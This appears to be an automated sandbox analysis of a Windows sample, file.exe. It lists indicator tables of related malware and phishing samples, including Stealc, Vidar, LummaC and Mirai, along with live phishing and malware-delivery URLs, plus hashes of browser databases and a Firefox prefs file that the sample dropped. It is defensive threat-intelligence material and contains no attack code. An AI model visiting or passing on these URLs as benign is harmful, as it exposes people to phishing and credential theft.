prod-agic-ne-1.northeurope.cloudapp.azure.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
20.125.209.212	http://google.com	Get hash	malicious	Unknown	Browse
	https://web.kamihq.com/	Get hash	malicious	Unknown	Browse
	https://app.scalenut.com/creator/d0ab8cf4-bc58-4dd4-a63c-fdc95e54322f/kj8jd9r9do	Get hash	malicious	HTMLPhisher	Browse
	https://myworkspace10fa5.myclickfunnels.com/onlinereview--00e63?preview=true	Get hash	malicious	Unknown	Browse
	https://forms.office.com/Pages/ShareFormPage.aspx?id=ftLiCkvgmUWRfqw5YPs3_fpDqIXyltBNn_DKM6uFDvVUNlhVQ1g1MVZJWEZEOE5MVVBERkI4MVRKVC4u&sharetoken=4ily2rwaUoxDpLkfEsVo	Get hash	malicious	Unknown	Browse
	https://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=lTCgUqihHkmFBEet2SbJL2ghryGY169Ih8KbdC_V2rZUQUFOTzhQMTZVVVI2V1RWNjNGNFhXRjdWVy4u&d=DwMFAg	Get hash	malicious	Unknown	Browse
	https://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=lTCgUqihHkmFBEet2SbJL2ghryGY169Ih8KbdC_V2rZUQUFOTzhQMTZVVVI2V1RWNjNGNFhXRjdWVy4u&d=DwMFAg	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse
	http://bestlerdierholensie.bekomme-es.digital/	Get hash	malicious	HTMLPhisher	Browse
	https://larandeteknik.se/reports.php	Get hash	malicious	Unknown	Browse
	https://new.express.adobe.com/webpage/czD5r1jfeik32	Get hash	malicious	Unknown	Browse
162.159.61.3	Payment for outstanding statements.pdf	Get hash	malicious	HTMLPhisher	Browse
	setup.msi	Get hash	malicious	Unknown	Browse
	http://74.248.121.8/d/msdownload/update/software/defu/2024/10/updateplatform.amd64fre_d3f6f8300855e56b8ed00da6dac55a3c4cbf8c20.exe?cacheHostOrigin=au.download.windowsupdate.com	Get hash	malicious	Unknown	Browse
	Demande de proposition du CPE Les Coquins.pdf	Get hash	malicious	Unknown	Browse
	Demande de proposition du CPE Les Coquins.pdf	Get hash	malicious	Unknown	Browse
	roquette October.pdf	Get hash	malicious	HTMLPhisher	Browse
	https://careers.adobe.com/us/en/apply?jobSeqNo=ADOBUSR147673EXTERNALENUS	Get hash	malicious	Unknown	Browse
	Scan copy of document .pdf	Get hash	malicious	Unknown	Browse
	fedcap.67173a0a3d25d0.95038392.pdf	Get hash	malicious	Unknown	Browse
	MDE_File_Sample_1a8e4ebbcc2e3f76efb2a55bb6179417263ebf3d.zip	Get hash	malicious	Unknown	Browse
20.25.227.174	setup.msi	Get hash	malicious	Unknown	Browse
	test.exe	Get hash	malicious	Babadeda	Browse
	GrammarlyInstaller.evxSw76fmxki94ued2mj0c82.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Riskware.OfferCore.702.11507.exe	Get hash	malicious	PrivateLoader, PureLog Stealer	Browse
	MicrosoftInst.exe	Get hash	malicious	GhostRat	Browse
	ziprar.exe	Get hash	malicious	Unknown	Browse
	hlopRb4roR.msi	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	https://www.ammyy.com/it/downloads.html	Get hash	malicious	Flawedammyy	Browse
	https://www.ammyy.com/it/downloads.html	Get hash	malicious	Flawedammyy	Browse
152.195.19.97	http://ustteam.com/	Get hash	malicious	Unknown	Browse	www.ust.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sb.scorecardresearch.com	http://www.wattpad.com	Get hash	malicious	Unknown	Browse	13.32.99.90
	https://www.canva.com/design/DAGUUU-VdiI/DdL4Z-_loK4X7NMMbGGnJg/view?utm_content=DAGUUU-VdiI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	13.32.99.90
	https://www.canva.com/design/DAGUUU-VdiI/DdL4Z-_loK4X7NMMbGGnJg/view?utm_content=DAGUUU-VdiI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	18.244.18.122
	https://us-west-2.protection.sophos.com/?d=site.pro&u=aHR0cHM6Ly9jbGF1ZGlha3J1ZWdlci5zaXRlLnByby8=&i=NThlN2NjYzYyOTljZjkxNGY4YmM1Njkz&t=QTRyTlRXbysvd3IyNERLT1pJYVNuNlAvU0FLMVAyb2pCN053UGFJSWtBST0=&h=dd65eaa7298b4ffebbd13b01dcbd3434&s=AVNPUEhUT0NFTkNSWVBUSVYfWTd0VrJEAZ1PFPx8UNdDDkWk4HVuGeVZrBnJzV7Ifg	Get hash	malicious	Unknown	Browse	18.244.18.122
	http://google.com	Get hash	malicious	Unknown	Browse	18.244.18.38
	https://www.canva.com/design/DAGT2vOBNY8/p-tSk-DRXUJ7qPwl8mMJiw/view?utm_content=DAGT2vOBNY8&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	18.244.18.38
	(No subject) (87).eml	Get hash	malicious	HTMLPhisher	Browse	18.245.60.53
	http://currently0734.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	18.244.18.27
	https://attservicesinc.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	18.244.18.122
	https://www.canva.com/design/DAGTGtfEYnw/CziuYyD8EEWyTr61OD4BbQ/edit?utm_content=DAGTGtfEYnw&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutto	Get hash	malicious	HtmlDropper	Browse	18.65.39.28
chrome.cloudflare-dns.com	setup.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://2007.filemail.com/api/file/get?filekey=58mKUrTMdlmzqkRvo0UdVa2TMjJTCQiSNv5rUBtsDQTNU0dM4JzppUJaOrP_mWxCym0k9l5xEDeaXunPsHq6frY8XZH_gnclw86MefA3bpAlGuDkr77-xSqrMOQIlMdW5cRjwoOSCWIlTwpC48cNKMMHhMKp&track=P8fpm4ry&pk_vid=8a8b18f03738ae4f17297703684d559d	Get hash	malicious	HTMLPhisher	Browse	172.64.41.3
	http://74.248.121.8/d/msdownload/update/software/defu/2024/10/updateplatform.amd64fre_d3f6f8300855e56b8ed00da6dac55a3c4cbf8c20.exe?cacheHostOrigin=au.download.windowsupdate.com	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://t.ly/2jKWO	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	172.64.41.3
	https://t.ly/2jKWO	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	172.64.41.3
	https://www.filemail.com/t/cFCAI9C4	Get hash	malicious	HtmlDropper	Browse	172.64.41.3
	https://careers.adobe.com/us/en/apply?jobSeqNo=ADOBUSR147673EXTERNALENUS	Get hash	malicious	Unknown	Browse	172.64.41.3
	MDE_File_Sample_1a8e4ebbcc2e3f76efb2a55bb6179417263ebf3d.zip	Get hash	malicious	Unknown	Browse	162.159.61.3
	(No subject) (90).eml	Get hash	malicious	Unknown	Browse	172.64.41.3
	http://google.com	Get hash	malicious	Unknown	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	setup.msi	Get hash	malicious	Unknown	Browse	94.245.104.56
	(No subject) (90).eml	Get hash	malicious	Unknown	Browse	94.245.104.56
	test.exe	Get hash	malicious	Babadeda	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	VlmNuDYKAv.exe	Get hash	malicious	Amadey, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	Unknown	Browse	94.245.104.56
	file.exe	Get hash	malicious	Unknown	Browse	94.245.104.56
	pud8g3zixE.exe	Get hash	malicious	Amadey, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	Unknown	Browse	94.245.104.56
	file.exe	Get hash	malicious	Unknown	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	157.55.8.201
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	157.55.39.245
	ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	20.193.94.59
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	40.92.231.75
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	52.185.117.158
	splmpsl.elf	Get hash	malicious	Unknown	Browse	22.20.33.129
	jklm68k.elf	Get hash	malicious	Unknown	Browse	40.102.238.246
	nabarm7.elf	Get hash	malicious	Unknown	Browse	52.122.161.212
	nabm68k.elf	Get hash	malicious	Unknown	Browse	52.102.44.114
	nklx86.elf	Get hash	malicious	Unknown	Browse	51.107.159.118
MICROSOFT-CORP-MSN-AS-BLOCKUS	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	157.55.8.201
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	157.55.39.245
	ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	20.193.94.59
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	40.92.231.75
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	52.185.117.158
	splmpsl.elf	Get hash	malicious	Unknown	Browse	22.20.33.129
	jklm68k.elf	Get hash	malicious	Unknown	Browse	40.102.238.246
	nabarm7.elf	Get hash	malicious	Unknown	Browse	52.122.161.212
	nabm68k.elf	Get hash	malicious	Unknown	Browse	52.102.44.114
	nklx86.elf	Get hash	malicious	Unknown	Browse	51.107.159.118
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	SecuriteInfo.com.Win64.CrypterX-gen.14264.32283.exe	Get hash	malicious	LummaC	Browse	104.21.64.165
	MilkaCheats.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	17300406664afe7aec458893633a7734ab1b119dd638ebaf863f6f65e2e732ab9f2f071556149.dat-decoded.exe	Get hash	malicious	Zhark RAT	Browse	104.21.44.95
	17300406664afe7aec458893633a7734ab1b119dd638ebaf863f6f65e2e732ab9f2f071556149.dat-decoded.exe	Get hash	malicious	Zhark RAT	Browse	172.67.198.131
	care.rtf	Get hash	malicious	Unknown	Browse	104.21.43.157
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
EDGECASTUS	https://www.google.co.uk/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/taxigiarebienhoa.vn/nini/ybmex/captcha/Z3VsYW1yYXN1bC5jaGVwdXdhbGFAY2V2YWxvZ2lzdGljcy5jb20	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	152.199.21.175
	Rob.Kuster@stonhard.com.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	152.199.21.175
	zip file.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	152.199.21.175
	https://docs.google.com/drawings/d/1gvM7ysnJ7zDcSUShXnPoiA6pG4cjDDn9uHRbivsGidA/preview?pli=1jjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZs	Get hash	malicious	Mamba2FA	Browse	152.199.21.175
	Fanduel CO Player Location Check F.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://link.edgepilot.com/s/8e0e5379/EMW5cxymxkqj1qgquAdAJg?u=https://1drv.ms/o/c/67a50aba8b4bc7df/Es0QkMhT9wJGqs_vzb8xaRQBgzED6dWk5_dCMe34N16rYQ?e=5%253aTtRWoI%26sharingv2=true%26fromShare=true%26at=9&c=E,1,DNZ_Csfpwg3nzWxVo2TSq2LzcEM3C6hdkfA-QbvL5dwYrcj0RsSt_vroZV-UqAThZkP5E_WMmdbQ82a_nveA3iNTPpg_CIcQxQFCbK60ykcRIVrxnkr2VnkbdtuE&typo=1	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://ipfox.co.uk/pages/thanks.html#RXJpay5Kb2huc29uQGFnLnN0YXRlLm1uLnVz	Get hash	malicious	Unknown	Browse	152.199.21.175
	ALVARA-072.msi	Get hash	malicious	AteraAgent	Browse	192.229.221.95
	https://www.shareholds.com/eur/9fb868a2-97de-4fa6-bb9a-6e2bdc7c734d/99db7d04-72ba-41ea-a52e-2744d29c7f66/e845cf48-2115-4cda-904c-fc80c835df32/login?id=RDhIaE52RURnRGJHRWUzZ21seVc3R2xwMm5BK0k2NjNKbnlRYisvT3JURnNTa0p4Skp6OTRIVjNPa3VFclFOeEFTY2Jub0tIblFrbGo5SUhWb01RRCt4Q3FtaVlNeno4MU8zN2I3bmlveTF0Tm8yM0FOb1J4THRhM1RqNnhyazNHaDFNV3Zoc1RLN2VpV0ZZbUF2MDlWWGZ2Tk5STVpzUDVKaStnT0l0S1BVTlRzZ2lmcXI1Wkh6M1FheGd3Tjh2NVdaTzVOOTRQaVZrTmZrSjRIK3IvU1p4U2doYSsrYmtUOGl1RytpeGthUGFHT1g4UE4rbngvYnhpRXlJRG9oRVRWbUczdEc1ei9ESFJsT2lpZ2JyOFBLNTNoUXdzdVB0QjhVbmRBN1NSSUJYMTkrRnoxbENHSW5lYnJHczBnQytHaDlQSkRib1NTOFNJeTI2WVhCUkg5NGxNNzNMdzBmWktZenhCR2FnaFFaem5zU3FmbUV6WXowVFdOTEFjU3pGVnRjVlNFOHRtVlkvdk9WQjdibXBTNGZFcjUyb1BYTXRhQTRNNnJjbkJtcz0	Get hash	malicious	HTMLPhisher, Microsoft Phishing	Browse	152.199.21.175
	https://u47839971.ct.sendgrid.net/ls/click?upn=u001.SS8YqfWjf1b3UNFf2g8-2BbyepSJ9NnVqTjg5p4PlqyZLDG-2F-2FRHUWKB7tpHO-2BD9IAzfDK69NBor6n5GDDWuKOaXjILtpHrb-2FuqosweWIwJauCFjFOIVaIDje-2BTbWeqpid-2Fe0IpJIrTIznxRC8RuWTXkcZZXZKUxIgeeMWOFH96Tjh3a3uDeIXRyoiB6ZRGKZhHD63OuPdyktyTbMDbA-2FurGQ-3D-3DGlRK_1fgoI9z-2BmeHj6kFR5jmXJyN8Vyo9ja5rNrkl1rR8UXAlmAe6PSc2-2FD85CLOIF98tpCjfsSquWpaRYnYzjD-2B-2FDF-2F8BwiwRSEwmTXwwlDUaQI3bDBZTUv-2Ffbse4A61ed6hVc-2BhhTqdpCqzpir5GY49O-2BVdqG9mHEhTR8OvRsDhxES9QAdY7ZiH-2BurXMNUWGL6VuIIVYma05ZXZK6zhQMDhjNBnJShmRWPp7Ow2IJgH96F8uRyUdyMUZ9au5PfRhmvWMnTj3B1KVxYBpNo7XRlBSlYjK74Z4HptPWz0XAvVILLp4Z5Qq7I-2BYF76YXE5ZsE-2F9hOEdmxnqZwZIEaC1BNDg2XB-2BluEEvEXRuR9ohEPc6VObquUxTQmba8bObSY0wG3oOeb2xD8hV6IKwMnr9d-2B5HbQscEqkWH5k7qnk6bAGBIHHNt95VH4uagG-2Bh74PJCdwHqpitEnC4IeAHXNdNtMkKw34-2BF8TeV7q4SmkRwe9osbefOHPWGyls7sZdEjodVX7wlBDRV2BLQlTlDkK-2FzuZ2EsHCtWTv7yrVJT-2B6p3fl4O5qZGyWAuATjn7386SmbgYFZYAIaRjabXb6J3Z9IYhB-2BBiP3zxZSMd-2BGGNtSLCQw7FqwKOUhYoEZSgG-2FLraJhb7xOSF-2FZGKBw-2FWGPQ5W16K6ZnP31akPWN-2FRy3A1tFL9-2FQXaviWuNn8VOeqLfBR9isxQ-2BqB-2Fm-2BPFRMhM4zyM42FPD-2FRIJxCXHHfAnucSqTKeA1iykI89pw6joYB-2B9v-2FXzQpkgszpTxbxZcZ7mH0xUY6S3QZDaIWpt-2F-2B0FpvTn8cArsTTKjQo1QO476bdWvqqoz32vBNn214xuFkN0blGHeazkhMWwmEzZM6r-2BTFrW2-2Fha62dTAc7eNUguY6HOm3gtrj2-2FYlAidnBTp5Y8fj3jmA-3D-3D	Get hash	malicious	Unknown	Browse	152.199.21.175

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	Reminder.exe	Get hash	malicious	Amadey	Browse	20.109.210.53 184.28.90.27 20.190.159.2 13.107.246.45
	Reminder.exe	Get hash	malicious	Amadey	Browse	20.109.210.53 184.28.90.27 20.190.159.2 13.107.246.45
	SecuriteInfo.com.Win64.CrypterX-gen.14264.32283.exe	Get hash	malicious	LummaC	Browse	20.109.210.53 184.28.90.27 20.190.159.2 13.107.246.45
	https://duy38.r.ag.d.sendibm3.com/mk/cl/f/sh/1t6Af4OiGsF30wT9TF4ckLf3fAzx5z/28D7HenRXzOU	Get hash	malicious	LummaC	Browse	20.109.210.53 184.28.90.27 20.190.159.2 13.107.246.45
	https://link.edgepilot.com/s/e9b35021/KNsrNVGwOUukNjaKm_560w?u=https://publicidadnicaragua.com/	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 20.190.159.2 13.107.246.45
	Solaris-A65BA.exe	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 20.190.159.2 13.107.246.45
	http://cio.krqe.com/gtdhffgjghfj3081868fB16927453Xe78849729yB17367Xb25vBr206268IG	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 20.190.159.2 13.107.246.45
	g3Wg5cdIcT.html	Get hash	malicious	LonePage	Browse	20.109.210.53 184.28.90.27 20.190.159.2 13.107.246.45
	1El22bCuSq.html	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 20.190.159.2 13.107.246.45
	ZtefPP1HI7.cmd	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 20.190.159.2 13.107.246.45

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	t4GNf3V8mp.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BAAFBFBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBGIJEHIIDGCFHIEGDGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DHDBGHCBAEGCBFHJEBFIEHCBFB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHIJDHCA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2652337364609667
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkM8SAELyKOMq+8yC8F/YfU5m+OlTLVumo:Bq+n0J89ELyKOMq+8y9/OwD
MD5:	21B95A03B42DCA94E624FAB47CBE7920
SHA1:	2A00EE8ECD37DD6EC34925664D305B64AEE97F7E
SHA-256:	E4DDD1AACF19B663680AB6B3BC11B00DFE183CA6D014ABD497966759D054F44D
SHA-512:	92DEDAF612C1323C2E609587AA5935AA26C5DC858474A00DA6B5A5547EBB78013855F2DEC438234951A0321F662A6EB7BB4418982BCFB25008E7F4E4716D0289
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJECGHJDBFIJJJKEHCBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKEBFBFIEHIDAAAAFHCFCGIECB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
